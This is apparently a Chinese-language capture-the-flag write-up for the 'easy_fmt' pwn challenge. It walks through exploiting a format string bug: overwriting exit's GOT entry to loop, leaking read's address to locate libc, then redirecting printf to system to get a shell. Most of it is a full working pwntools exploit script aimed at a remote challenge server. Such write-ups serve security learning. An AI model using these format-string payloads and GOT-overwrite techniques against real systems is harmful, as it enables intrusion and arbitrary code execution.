0%

easy_fmt

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

存在一个明显的格式化字符串漏洞,但是只能用一次,后面exit(0)会结束程序

CheckIn需要爆破

是一个随机数,且只有一位,我们直接输入2,成功率1/10

为了不让程序退出,多次利用printf,我们就得利用第一次的printf把exit的got表内容修改为0x400982,这样,我们就能一直处于一个循环,多次利用printf

由于RELRO为Partial RELRO,是延迟绑定,因此,exit的got表初始值为这个

因此,我们只需要修改后两字节

1
2
3
4
#修改exit的got表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf  
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16,'b') + p64(exit_got)
sh.sendline(payload)

接下来,为了得到system地址,我们准备泄露read函数地址,得到libc版本即基地址

1
2
3
4
5
6
7
8
9
10
11
12
#泄露read地址  
payload = '%10$sBBB' + p64(read_got)
sh.recvuntil('slogan: ')
sh.sendline(payload)
sh.recvuntil('slogan: ')
sh.recv(1)
read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

接下来,我们需要修改printf的got表内容,指向system即可

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding:utf8  
from pwn import *
from LibcSearcher import *

#sh = process('./easy_fmt')
sh = remote('111.198.29.45',53528)
elf = ELF('./easy_fmt')
printf_got = elf.got['printf']
read_got = elf.got['read']
exit_got = elf.got['exit']

sh.sendlineafter('enter:','2')

#修改exit的got表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf
payload = '%' + str(0x982) + 'c%10$hn'
payload = payload.ljust(16,'b') + p64(exit_got)
sh.sendline(payload)

#泄露read地址
payload = '%10$sBBB' + p64(read_got)
sh.recvuntil('slogan: ')
sh.sendline(payload)

sh.recvuntil('slogan: ')
sh.recv(1)

read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))
#print hex(read_addr)
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

#修改printf的got表,只需修改低3字节即可到system
data = system_addr & 0xFF
payload = '%' + str(data) + 'c%14$hhn'
data = ((system_addr & 0xFFFFFF) >> 8) - data
payload += '%' + str(data) + 'c%15$hn'
payload = payload.ljust(32,'B') + p64(printf_got) + p64(printf_got+1)
sh.recvuntil('slogan: ')
sh.sendline(payload)

#get shell
sh.sendlineafter('slogan: ','/bin/sh')

sh.interactive()